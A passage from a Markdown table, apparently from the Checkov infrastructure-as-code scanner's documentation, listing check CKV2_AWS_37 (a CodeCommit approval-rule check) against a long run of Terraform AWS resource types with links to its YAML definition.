CKV2_AWS_37     | resource | aws_db_event_subscription                                        | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  973 | CKV2_AWS_37     | resource | aws_db_instance                                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  974 | CKV2_AWS_37     | resource | aws_db_instance_automated_backups_replication                    | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  975 | CKV2_AWS_37     | resource | aws_db_instance_role_association                                 | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  976 | CKV2_AWS_37     | resource | aws_db_option_group                                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  977 | CKV2_AWS_37     | resource | aws_db_parameter_group                                           | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  978 | CKV2_AWS_37     | resource | aws_db_proxy                                                     | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  979 | CKV2_AWS_37     | resource | aws_db_proxy_default_target_group                                | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  980 | CKV2_AWS_37     | resource | aws_db_proxy_endpoint                                            | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  981 | CKV2_AWS_37     | resource | aws_db_proxy_target                                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  982 | CKV2_AWS_37     | resource | aws_db_security_group                                            | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  983 | CKV2_AWS_37     | resource | aws_db_snapshot                                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  984 | CKV2_AWS_37     | resource | aws_db_snapshot_copy                                             | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  985 | CKV2_AWS_37     | resource | aws_db_subnet_group                                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  986 | CKV2_AWS_37     | resource | aws_default_network_acl                                          | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  987 | CKV2_AWS_37     | resource | aws_default_route_table                                          | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  988 | CKV2_AWS_37     | resource | aws_default_security_group                                       | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  989 | CKV2_AWS_37     | resource | aws_default_subnet                                               | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  990 | CKV2_AWS_37     | resource | aws_default_vpc                                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  991 | CKV2_AWS_37     | resource | aws_default_vpc_dhcp_options                                     | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  992 | CKV2_AWS_37     | resource | aws_detective_graph                                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  993 | CKV2_AWS_37     | resource | aws_detective_invitation_accepter                                | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  994 | CKV2_AWS_37     | resource | aws_detective_member                                             | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  995 | CKV2_AWS_37     | resource | aws_detective_organization_admin_account                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  996 | CKV2_AWS_37     | resource | aws_detective_organization_configuration                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  997 | CKV2_AWS_37     | resource | aws_devicefarm_device_pool                                       | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  998 | CKV2_AWS_37     | resource | aws_devicefarm_instance_profile                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  999 | CKV2_AWS_37     | resource | aws_devicefarm_network_profile                                   | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1000 | CKV2_AWS_37     | resource | aws_devicefarm_project                                           | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1001 | CKV2_AWS_37     | resource | aws_devicefarm_test_grid_project                                 | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1002 | CKV2_AWS_37     | resource | aws_devicefarm_upload                                            | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1003 | CKV2_AWS_37     | resource | aws_devopsguru_event_sources_config                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1004 | CKV2_AWS_37     | resource | aws_devopsguru_notification_channel                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1005 | CKV2_AWS_37     | resource | aws_devopsguru_resource_collection                               | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1006 | CKV2_AWS_37     | resource | aws_devopsguru_service_integration                               | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1007 | CKV2_AWS_37     | resource | aws_directory_service_conditional_forwarder                      | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1008 | CKV2_AWS_37     | resource | aws_directory_service_directory                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1009 | CKV2_AWS_37     | resource | aws_directory_service_log_subscription                           | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1010 | CKV2_AWS_37     | resource | aws_directory_service_radius_settings                            | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1011 | CKV2_AWS_37     | resource | aws_directory_service_region                                     | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1012 | CKV2_AWS_37     | resource | aws_directory_service_shared_directory                           | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1013 | CKV2_AWS_37     | resource | aws_directory_service_shared_directory_accepter                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1014 | CKV2_AWS_37     | resource | aws_directory_service_trust                                      | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1015 | CKV2_AWS_37     | resource | aws_dlm_lifecycle_policy                                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1016 | CKV2_AWS_37     | resource | aws_dms_certificate                                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1017 | CKV2_AWS_37     | resource | aws_dms_endpoint                                                 | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1018 | CKV2_AWS_37     | resource | aws_dms_event_subscription                                       | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1019 | CKV2_AWS_37     | resource | aws_dms_replication_config                                       | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1020 | CKV2_AWS_37     | resource | aws_dms_replication_instance                                     | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1021 | CKV2_AWS_37     | resource | aws_dms_replication_subnet_group                                 | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1022 | CKV2_AWS_37     | resource | aws_dms_replication_task                                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1023 | CKV2_AWS_37     | resource | aws_dms_s3_endpoint                                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1024 | CKV2_AWS_37     | resource | aws_docdb_cluster                                                | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1025 | CKV2_AWS_37     | resource | aws_docdb_cluster_instance                                       | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1026 | CKV2_AWS_37     | resource | aws_docdb_cluster_parameter_group                                | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1027 | CKV2_AWS_37     | resource | aws_docdb_cluster_snapshot                                       | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1028 | CKV2_AWS_37     | resource | aws_docdb_event_subscription                                     | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1029 | CKV2_AWS_37     | resource | aws_docdb_global_cluster                                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1030 | CKV2_AWS_37     | resource | aws_docdb_subnet_group                                           | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1031 | CKV2_AWS_37     | resource | aws_docdbelastic_cluster                                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1032 | CKV2_AWS_37     | resource | aws_drs_replication_configuration_template                       | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1033 | CKV2_AWS_37     | resource | aws_dx_bgp_peer                                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1034 | CKV2_AWS_37     | resource | aws_dx_connection                                                | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1035 | CKV2_AWS_37     | resource | aws_dx_connection_association                                    | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1036 | CKV2_AWS_37     | resource | aws_dx_connection_confirmation                                   | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1037 | CKV2_AWS_37     | resource | aws_dx_gateway                                                   | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1038 | CKV2_AWS_37     | resource | aws_dx_gateway_association                                       | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1039 | CKV2_AWS_37     | resource | aws_dx_gateway_association_proposal                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1040 | CKV2_AWS_37     | resource | aws_dx_hosted_connection                                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1041 | CKV2_AWS_37     | resource | aws_dx_hosted_private_virtual_interface                          | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1042 | CKV2_AWS_37     | resource | aws_dx_hosted_private_virtual_interface_accepter                 | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1043 | CKV2_AWS_37     | resource | aws_dx_hosted_public_virtual_interface                           | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1044 | CKV2_AWS_37     | resource | aws_dx_hosted_public_virtual_interface_accepter                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1045 | CKV2_AWS_37     | resource | aws_dx_hosted_transit_virtual_interface                          | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1046 | CKV2_AWS_37     | resource | aws_dx_hosted_transit_virtual_interface_accepter                 | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1047 | CKV2_AWS_37     | resource | aws_dx_lag                                                       | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1048 | CKV2_AWS_37     | resource | aws_dx_macsec_key_association                                    | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1049 | CKV2_AWS_37     | resource | aws_dx_private_virtual_interface                                 | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1050 | CKV2_AWS_37     | resource | aws_dx_public_virtual_interface                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1051 | CKV2_AWS_37     | resource | aws_dx_transit_virtual_interface                                 | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1052 | CKV2_AWS_37     | resource | aws_dynamodb_contributor_insights                                | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1053 | CKV2_AWS_37     | resource | aws_dynamodb_global_table                                        | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1054 | CKV2_AWS_37     | resource | aws_dynamodb_kinesis_streaming_destination                       | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1055 | CKV2_AWS_37     | resource | aws_dynamodb_resource_policy                                     | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1056 | CKV2_AWS_37     | resource | aws_dynamodb_table                                               | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1057 | CKV2_AWS_37     | resource | aws_dynamodb_table_export                                        | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1058 | CKV2_AWS_37     | resource | aws_dynamodb_table_item                                          | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1059 | CKV2_AWS_37     | resource | aws_dynamodb_table_replica                                       | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1060 | CKV2_AWS_37     | resource | aws_dynamodb_tag                                                 | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1061 | CKV2_AWS_37     | resource | aws_ebs_default_kms_key                                          | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1062 | CKV2_AWS_37     | resource | aws_ebs_encryption_by_default                                    | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1063 | CKV2_AWS_37     | resource | aws_ebs_fast_snapshot_restore                                    | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1064 | CKV2_AWS_37     | resource | aws_ebs_snapshot                                                 | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1065 | CKV2_AWS_37     | resource | 